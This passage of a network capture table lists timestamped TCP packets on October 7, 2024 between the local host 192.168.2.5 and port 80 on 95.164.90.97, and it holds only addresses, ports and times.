Oct 7, 2024 21:18:44.661083937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661098957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661113977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661117077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661128998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661140919 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661144972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661161900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661161900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661185026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661201954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661699057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661714077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661729097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661736012 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661745071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661750078 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661761045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661767006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661777020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661782980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661792994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661801100 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661808968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661814928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661824942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661829948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661840916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661847115 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661861897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661865950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661881924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661883116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661900997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661901951 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661912918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661916018 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661931038 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661932945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661947966 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661952019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661963940 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661967993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661983013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661997080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662000895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662019968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662025928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662041903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662044048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662059069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662060022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662076950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662080050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662094116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662095070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662110090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662112951 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662125111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662130117 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662142038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662144899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662158966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662162066 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662175894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662179947 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662194014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662194967 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662209988 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662211895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662225008 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662228107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662242889 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662244081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662259102 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662260056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662272930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662277937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662291050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662293911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662309885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662312031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662326097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662329912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662342072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662341118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662355900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662359953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662370920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.662377119 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662395954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.662405968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.739979982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.740010977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.740026951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.740041971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.740052938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.740058899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.740075111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.740077019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.740092993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.740108013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.740108013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.740118980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.740148067 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.740151882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.740192890 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.740353107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.740367889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.740382910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.740394115 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.740406990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.740423918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.740549088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.740565062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.740590096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.740605116 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.740966082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741033077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741134882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741149902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741164923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741177082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741182089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741199017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741200924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741255045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741295099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741309881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741323948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741339922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741348028 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741360903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741391897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741494894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741509914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741524935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741533041 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741547108 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741563082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741647959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741664886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741683006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741684914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741695881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741714954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741724014 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741739988 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741796017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741811037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741826057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741838932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741841078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741857052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741858006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741889000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741919041 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.741960049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741976976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.741997957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.742010117 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.742158890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742175102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742191076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742216110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.742216110 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.742228985 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.742348909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742364883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742402077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.742503881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742518902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742532969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742547035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742562056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742574930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.742578983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742584944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.742597103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742609024 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.742630959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.742660046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742707968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.742847919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742865086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742880106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742893934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742896080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.742908001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.742938042 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.742955923 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743021011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743036032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743052006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743060112 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743068933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743087053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743089914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743109941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743140936 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743176937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743192911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743232012 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743336916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743352890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743367910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743397951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743407965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743407965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743415117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743432045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743436098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743454933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743470907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743496895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743514061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743527889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743536949 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743545055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743555069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743575096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743602991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743796110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743812084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743839025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743853092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.743943930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743959904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.743990898 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744004965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744102955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744117975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744131088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744146109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744154930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744164944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744174004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744180918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744191885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744195938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744205952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744213104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744226933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744229078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744257927 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744283915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744648933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744664907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744679928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744694948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744695902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744710922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744716883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744728088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744741917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744765997 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744795084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744811058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744826078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744836092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744841099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744856119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744863987 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744874954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744887114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744889021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744904995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.744905949 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744915009 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.744945049 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.745136976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.745152950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.745167971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.745178938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.745183945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.745194912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.745199919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.745208979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.745209932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.745218039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.745269060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.745285988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.745301962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.745316982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.745332003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.745338917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.745347977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.745377064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.745399952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.745436907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.745454073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.745466948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.745491982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.745516062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.822689056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.822877884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.822894096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.822909117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.822923899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.822932959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.822941065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.822964907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.822984934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823043108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823087931 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823204041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823219061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823235035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823260069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823282957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823353052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823369980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823390961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823400021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823410034 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823410034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823422909 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823498011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823507071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823520899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823540926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823556900 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823684931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823698997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823715925 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823730946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823734999 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823748112 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823760986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823760986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823775053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.823779106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.823796034 CEST	80	49810	95.164.90.97	192.168.2.5
